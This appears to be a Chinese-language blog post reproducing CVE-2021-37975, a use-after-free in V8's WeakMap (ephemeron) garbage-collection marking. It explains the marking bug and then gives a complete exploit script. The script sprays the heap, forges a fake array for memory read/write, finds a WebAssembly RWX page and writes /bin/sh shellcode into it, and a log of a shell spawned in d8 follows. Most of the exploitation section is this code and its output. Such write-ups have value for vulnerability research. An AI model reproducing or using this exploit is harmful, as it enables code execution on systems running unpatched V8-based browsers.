CVE-2021-37975复现

环境配置

漏洞背景知识

CVE-2021-37975 是产生在V8 GC模块的UAF漏洞,利用堆喷可以在原地址申请一个对象,新对象跟释放对象的类型不一致,可以造成类型混淆,从而实现利用。

WeakMap

js中的WeakMap不支持迭代以及key(),values()和entries()方法,只有以下方法:

  • weakMap.get(key)
  • weakMap.set(key, value)
  • weakMap.delete(key)
  • weakMap.has(key)
    也就是说,想要获取value,只能通过get方法,传入key获取。当key被delete时,value无法被访问。在GC过程中,当weakMap的key能被访问时,value也能被访问,即key, value都为黑色。当delete后,两者都为白色。

四种数据结构

  • next_ephemerons: 当(key, value)均为白色对象时存放在next_ephemerons中,供下一次迭代使用。
  • current_ephemerons: 在迭代开始时与next_ephemerons进行交换,交换完后next_ephemerons为空。
  • local_marking_worklists: 可以通过黑色对象访问的白色对象被标记为灰色,并且放入local_marking_worklists。灰色对象在ProcessMarkingWorklist函数中会被标记为黑色。
  • discovered_ephemerons: 当local_marking_worklists中的weakMap对象被标记为黑色时,weakMap中均为白色的键值对将被加入到discovered_ephemerons中。

相关函数

  • MarkLiveObjects函数:将存活对象标记为黑色,会调用两次ProcessEphemeronMarking。
  • ProcessEphemeronMarking函数:Marking weakMap中的(key, value)被成为Ephemeron,该函数处理weakMap键值对的标记。
  • ProcessEphemeronsUntilFixpoint函数:ProcessEphemeronMarking调用该函数实现功能。

漏洞原理分析

漏洞函数ProcessEphemeron,如下:

showLineNumbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bool MarkCompactCollector::ProcessEphemerons() {
Ephemeron ephemeron;
bool ephemeron_marked = false;

// Drain current_ephemerons and push ephemerons where key and value are still
// unreachable into next_ephemerons.
while (weak_objects_.current_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
ephemeron_marked = true;
}
}

// Drain marking worklist and push discovered ephemerons into
// discovered_ephemerons.
DrainMarkingWorklist();

// Drain discovered_ephemerons (filled in the drain MarkingWorklist-phase
// before) and push ephemerons where key and value are still unreachable into
// next_ephemerons.
while (weak_objects_.discovered_ephemerons.Pop(kMainThreadTask, &ephemeron)) {
if (ProcessEphemeron(ephemeron.key, ephemeron.value)) {
ephemeron_marked = true;
}
}

// Flush local ephemerons for main task to global pool.
weak_objects_.ephemeron_hash_tables.FlushToGlobal(kMainThreadTask);
weak_objects_.next_ephemerons.FlushToGlobal(kMainThreadTask);

return ephemeron_marked;
}

ProcessEphemeron 函数如果标记成功,将ephemeron_marked置为true,并开启下一次迭代。
DrainMarkingWorklist 函数内部在(key, value)为(黑,白)或者(白,黑)时也将会对白色的对象进行标记。遗憾的是,标记完之后并没有判断返回值。也就是说,可能出现DrainMarkingWorklist标记一个对象为黑之后,并不开启下一次迭代,从而结束GC算法

考虑一轮标记各结构如上图,此时current_ephemerons中(k1, v1), (k2, v2)为白。
local_marking_worklists中存放了灰色的v3, v3是一个WeakMap, v3.set(k0, k1),假设此时k0为黑。DrainMarkingWorklist将v3由灰标记为黑,并递归遍历v3所有的key, value,此时(k0, k1)为(黑,白),将会把k1变为灰,加入到local_marking_worklists,并接着将local_marking_worklists中的k1由灰标记为黑,直至local_marking_worklists为空。
由于调用DrainMarkingWorklist并未判断返回值,k1被标记为黑色之后,如果此时GC标记算法结束,那么current_ephemerons中的v1由于还是白,将会被释放掉。而v1可以通过weakmap.get(k1)访问到,就会造成了UAF。

漏洞利用

使用如下PoC:

showLineNumbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}

var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
var gcSize = 0x4fe00000;
var sprayParam = 1000;

// Get mapAddr using DebugPrint for double array (the compressed address of the map)
var mapAddr = 0x8203ae1;
// var mapAddr = 0x8183ae1

var rwxOffset = 0x60;

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;

//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {'h' : i};
//make thisKey reachable via prevKey
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}

function setUpWeakMap(map) {
// for (let i = 0; i < 1000; i++) new Array(300);
//Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
let hk = hideWeakMap(map, level, initKey);
//Round 1 maps
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();

//hk->k5, k5: discover->wl
let k5 = {k5 : 1};
let map5 = new WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
console.log("================ double in free zone: larr");
// %DebugPrint(larr);
let v9 = {ta : ta, larr : larr};
map.set(k7, map7);
map.set(k9, v9);

//map3 : kb|vb: initial discovery ->wl
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);

//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
map5.set(hk, k7);

//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
//iter1

//wl discovers map8, and mark k8 black
map7.set(k8, map8);
map7.set(k7, k8);

//discovery moves k8, map8 into wl
//iter2 marks k9 black, iter finished
map8.set(k8,k9);

}
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}

function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}

function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}

function gc() {
//trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
new ArrayBuffer(gcSize);
}

function restart() {
//Should deopt main if it gets optimized
global.__proto__ = {};
gc();
sleep(2000);
main();
}

function main() {
setUpWeakMap(map1);
//sleep(2000);
gc();
//sleep(2000);


let sprayParamArr = [];

for (let i = 0; i < sprayParam; i++) {
let thisArr = new Array(1 << 15);
sprayParamArr.push(thisArr);
}
//These are there to stop main being optimized by JIT
globalIdx['a' + globalIdx] = 1;
//Can't refactor this, looks like it cause some double rounding problem (got optimized?)
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(instance);
}
globalIdx['a' + globalIdx + 1000] = 1;
let result = null;

try {
// handle: Cannot read properties of undefined. out of order map keys
result = fetch();
} catch (e) {
console.log("fetch failed");
restart();
return;
}
if (!result) {
console.log("fail to find object address.");
restart();
return;
}

let larr = result.larr;
let index = result.idx;

console.log("================ double in free zone: instance");
// %DebugPrint(instance);

// larr 里面全部存放的是instance 对象地址, index 默认为0
let instanceAddr = ftoi32(larr[index])[0];
let instanceAddr2 = ftoi32(larr[index])[1];
let instanceFloatAddr = larr[index];
console.log("================found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
console.log("================found instance address2: 0x" + instanceAddr2.toString(16) + " at index: " + index);

let x = {};
for (let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(x);
}

globalIdx['a' + globalIdx + 5000] = 1;

larr[index] = instanceFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for (let i = 0; i < sprayParamArr.length; i++) {
globalIdx['a' + globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = sprayParamArr[i];
for (let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if (thisObj == instance) {
console.log("found instance object at: " + i + " index: " + j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx['a' + globalIdx + 4000] = 1;
if (objArrIdx == -1) {
console.log("failed getting fake object index.");
restart();
return;
}
let obj = [1.1,1.2,1.3,0.0];
console.log("================ obj");
// %DebugPrint(obj)
let thisArr = sprayParamArr[objArrIdx];
thisArr.fill(obj);
globalIdx['a' + globalIdx + 2000] = 1;
// 现在larr里面填充的是obj 对象地址
// %SystemBreak();

let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
//Faking an array at using obj[0] and obj[1]
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);

obj[1] = eleLength;

larr[index] = floatAddr;
console.log("array address: 0x" + addr.toString(16));
console.log("array element address: 0x" + objEleAddr.toString(16));
let rwxAddr = 0;
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
if (!(fakeArray instanceof Array)) {
console.log("fail getting fake array.");
restart();
return;
}
rwxAddr = fakeArray[0];
console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));

if (rwxAddr == 0) {
console.log("failed getting rwx address.");
restart();
return;
}

//Read shellArray address
let shellArray = new Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);

let shellAddr = ftoi32(larr[index])[0];
console.log("shellArray addr: 0x" + shellAddr.toString(16));
obj[1] = i32tof(shellAddr + 0x20, 10);
fakeArray[0] = rwxAddr;
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for (let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
}

function findTA(ta) {
let found = false;
for (let i = 0; i < 16; i++) {
if (ta[i] != 0xfe) {
console.log(ta[i]);
return true;
}
}
console.log(ta[0]);
return found;
}

/*
let ta = new Uint8Array(1024);
ta.fill(0xfe);
let larr = new Array(1 << 15);
larr.fill(1.1);
let v9 = {ta : ta, larr : larr};
*/
function findLArr(larr) {
for (let i = 0; i < (1 << 15); i++) {
if (larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return i;
}
else {
// 可以正常打印,标记了,还没有真正free?
//console.log(larr[i])
}
}
return -1;
}

function fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);

console.log('===========before access free pointet 1')
console.log('===========before access free pointet 2')
let larr = map1.get(map8.get(k8)).larr;
console.log('===========before findLArr')
let index = findLArr(larr);
console.log('===========after findLArr')
if (index == -1) {
return;
}
return {larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();

注意需要修改mapAddr变量值,其是doubleArray的map地址。当前环境map地址可以通过如下命令获取:

showLineNumbers
1
2
3
// test.js
let obj = [1.1, 1.1, 1.1];
%DebugPrint(obj);

执行命令:./out/x64.release/d8 --allow-natives-syntax test.js,输出结果如下:

showLineNumbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
base ❯ ./d8 --allow-natives-syntax test.js
DebugPrint: 0xc83080494a1: [JSArray]
- map: 0x0c8308203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0c83081cc0f9 <JSArray[0]>
- elements: 0x0c8308049481 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0c830800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xc83080048f1: [String] in ReadOnlySpace: #length: 0x0c830814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0c8308049481 <FixedDoubleArray[3]> {
0-2: 1.1
}
0xc8308203ae1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0c8308203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0c8308142405 <Cell value= 1>
- instance descriptors #1: 0x0c83081cc5ad <DescriptorArray[1]>
- transitions #1: 0x0c83081cc5f9 <TransitionArray[4]>Transition array #1:
0x0c830800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0c8308203b09 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x0c83081cc0f9 <JSArray[0]>
- constructor: 0x0c83081cbe95 <JSFunction Array (sfi = 0xc830814adc1)>
- dependent code: 0x0c83080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

0x0c8308203ae1 取低32位0x8203ae1, 赋值给poc.js里面的mapAddr 即可。取低32位,是因为v8采用了地址压缩技术,64位地址在变量中只保存低32位,高32位在寄存中保留。 # POC可以简单通过test1.js 来获取double arr的地址; exp实际利用环境,可以通过此UAF漏洞构造任意地址读来获取double arr的地址。 方法不再赘述。
由于涉及到堆喷,可能需要运行多次才能获取到shell,获取到shell效果如下:

showLineNumbers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
base ❯ ./d8 poc.js
================ double in free zone: larr
===========before access free pointet 1
===========before access free pointet 2
===========before findLArr
fetch failed
================ double in free zone: larr
===========before access free pointet 1
===========before access free pointet 2
fetch failed
================ double in free zone: larr
===========before access free pointet 1
===========before access free pointet 2
===========before findLArr
===========after findLArr
================ double in free zone: instance
================found instance address: 0x81d4189 at index: 0
================found instance address2: 0x81d4189 at index: 0
found instance object at: 7 index: 0
found instance object at: 7 index: 1
================ obj
array address: 0x84239e9
array element address: 0x8423a09
rwx address at: 0x270db670a000
shellArray addr: 0x8423c11
$ ls
args.gn d8 mksnapshot test.js
build.ninja gen obj toolchain.ninja
build.ninja.d gen-regexp-special-case poc.js torque
bytecode_builtins_list_generator icudtl.dat snapshot_blob.bin v8_build_config.json
$

参考链接